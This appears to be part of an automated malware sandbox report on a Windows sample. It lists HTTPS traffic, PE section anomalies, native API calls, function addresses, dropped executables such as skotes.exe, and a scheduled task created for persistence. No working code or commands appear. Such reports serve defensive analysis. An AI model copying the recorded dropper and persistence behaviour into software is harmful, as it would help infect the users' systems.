Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54545
Source: unknown	Network traffic detected: HTTP traffic on port 54579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54666
Source: unknown	Network traffic detected: HTTP traffic on port 54739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54550
Source: unknown	Network traffic detected: HTTP traffic on port 54660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54670
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54676
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54679
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54678
Source: unknown	Network traffic detected: HTTP traffic on port 54704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54677
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54680
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54569
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54690
Source: unknown	Network traffic detected: HTTP traffic on port 54683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54571
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54691
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54617
Source: unknown	Network traffic detected: HTTP traffic on port 54693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54736
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54610
Source: unknown	Network traffic detected: HTTP traffic on port 54649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54730
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54614
Source: unknown	Network traffic detected: HTTP traffic on port 54729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54611
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54732
Source: unknown	Network traffic detected: HTTP traffic on port 54658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54628
Source: unknown	Network traffic detected: HTTP traffic on port 54703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54749
Source: unknown	Network traffic detected: HTTP traffic on port 54776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54740
Source: unknown	Network traffic detected: HTTP traffic on port 54615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54503
Source: unknown	Network traffic detected: HTTP traffic on port 54593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54623
Source: unknown	Network traffic detected: HTTP traffic on port 54741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54744
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54743
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54639
Source: unknown	Network traffic detected: HTTP traffic on port 54775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54632
Source: unknown	Network traffic detected: HTTP traffic on port 54637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54631
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54751
Source: unknown	Network traffic detected: HTTP traffic on port 54614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54636
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54755
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54754
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54760
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54649
Source: unknown	Network traffic detected: HTTP traffic on port 54753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54769

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49806 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name:
Source: DocumentsHCFBFBAEBK.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6AB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6AB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6AB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C64F280
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0017CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	23_2_0017CB97

Source: C:\Users\user\DocumentsHCFBFBAEBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6435A0	0_2_6C6435A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655440	0_2_6C655440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B545C	0_2_6C6B545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B542B	0_2_6C6B542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC00	0_2_6C6BAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685C10	0_2_6C685C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C692C10	0_2_6C692C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64D4E0	0_2_6C64D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686CF0	0_2_6C686CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6564C0	0_2_6C6564C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D4D0	0_2_6C66D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A34A0	0_2_6C6A34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC4A0	0_2_6C6AC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656C80	0_2_6C656C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65FD00	0_2_6C65FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670512	0_2_6C670512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66ED10	0_2_6C66ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A85F0	0_2_6C6A85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680DD0	0_2_6C680DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6E63	0_2_6C6B6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C670	0_2_6C64C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664640	0_2_6C664640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C692E4E	0_2_6C692E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669E50	0_2_6C669E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683E50	0_2_6C683E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9E30	0_2_6C6A9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695600	0_2_6C695600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C687E10	0_2_6C687E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B76E3	0_2_6C6B76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64BEF0	0_2_6C64BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65FEF0	0_2_6C65FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4EA0	0_2_6C6A4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE680	0_2_6C6AE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665E90	0_2_6C665E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659F00	0_2_6C659F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C687710	0_2_6C687710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64DFE0	0_2_6C64DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676FF0	0_2_6C676FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6977A0	0_2_6C6977A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68F070	0_2_6C68F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668850	0_2_6C668850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D850	0_2_6C66D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B820	0_2_6C68B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694820	0_2_6C694820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657810	0_2_6C657810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C0E0	0_2_6C66C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6858E0	0_2_6C6858E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B50C7	0_2_6C6B50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6760A0	0_2_6C6760A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D960	0_2_6C65D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B970	0_2_6C69B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB170	0_2_6C6BB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A940	0_2_6C66A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C9A0	0_2_6C64C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D9B0	0_2_6C67D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685190	0_2_6C685190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2990	0_2_6C6A2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C689A60	0_2_6C689A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C661AF0	0_2_6C661AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68E2F0	0_2_6C68E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688AC0	0_2_6C688AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6422A0	0_2_6C6422A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674AA0	0_2_6C674AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CAB0	0_2_6C65CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2AB0	0_2_6C6B2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBA90	0_2_6C6BBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C370	0_2_6C65C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C645340	0_2_6C645340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D320	0_2_6C68D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B53C8	0_2_6C6B53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64F380	0_2_6C64F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FAC60	0_2_6C6FAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CAC30	0_2_6C7CAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B6C00	0_2_6C7B6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74ECD0	0_2_6C74ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EECC0	0_2_6C6EECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BED70	0_2_6C7BED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C87CDC0	0_2_6C87CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C878D20	0_2_6C878D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81AD50	0_2_6C81AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F4DB0	0_2_6C6F4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C786D90	0_2_6C786D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78EE70	0_2_6C78EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0E20	0_2_6C7D0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FAEC0	0_2_6C6FAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790EC0	0_2_6C790EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C776E90	0_2_6C776E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B2F70	0_2_6C7B2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C838FB0	0_2_6C838FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75EF40	0_2_6C75EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6F10	0_2_6C6F6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CEFF0	0_2_6C7CEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0FE0	0_2_6C6F0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C830F20	0_2_6C830F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FEFB0	0_2_6C6FEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C4840	0_2_6C7C4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C740820	0_2_6C740820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77A820	0_2_6C77A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F68E0	0_2_6C7F68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728960	0_2_6C728960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80C9E0	0_2_6C80C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C746900	0_2_6C746900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7249F0	0_2_6C7249F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B09B0	0_2_6C7B09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7809A0	0_2_6C7809A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AA9A0	0_2_6C7AA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CA70	0_2_6C76CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A8A30	0_2_6C7A8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79EA00	0_2_6C79EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EA80	0_2_6C76EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F6BE0	0_2_6C7F6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8BAC	0_2_6C6F8BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790BA0	0_2_6C790BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81A480	0_2_6C81A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C708460	0_2_6C708460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77A430	0_2_6C77A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C754420	0_2_6C754420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7364D0	0_2_6C7364D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A4D0	0_2_6C78A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790570	0_2_6C790570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C752560	0_2_6C752560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C748540	0_2_6C748540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F4540	0_2_6C7F4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77E5F0	0_2_6C77E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA5E0	0_2_6C7BA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C838550	0_2_6C838550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E45B0	0_2_6C6E45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74C650	0_2_6C74C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74E6E0	0_2_6C74E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78E6E0	0_2_6C78E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7146D0	0_2_6C7146D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C770700	0_2_6C770700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A7D0	0_2_6C71A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73E070	0_2_6C73E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B8010	0_2_6C7B8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BC000	0_2_6C7BC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7000B0	0_2_6C7000B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CC0B0	0_2_6C7CC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8090	0_2_6C6E8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758140	0_2_6C758140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766130	0_2_6C766130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D4130	0_2_6C7D4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F01E0	0_2_6C6F01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C778260	0_2_6C778260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C788250	0_2_6C788250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8762C0	0_2_6C8762C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C8220	0_2_6C7C8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA210	0_2_6C7BA210
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_008878BB	21_2_008878BB
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_00887049	21_2_00887049
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_00888860	21_2_00888860
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_008831A8	21_2_008831A8
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_00844B30	21_2_00844B30
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_00844DE0	21_2_00844DE0
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_00882D10	21_2_00882D10
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_0088779B	21_2_0088779B
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_00877F36	21_2_00877F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_001A7049	22_2_001A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_001A8860	22_2_001A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_001A78BB	22_2_001A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_001A31A8	22_2_001A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00164B30	22_2_00164B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_001A2D10	22_2_001A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00164DE0	22_2_00164DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00197F36	22_2_00197F36
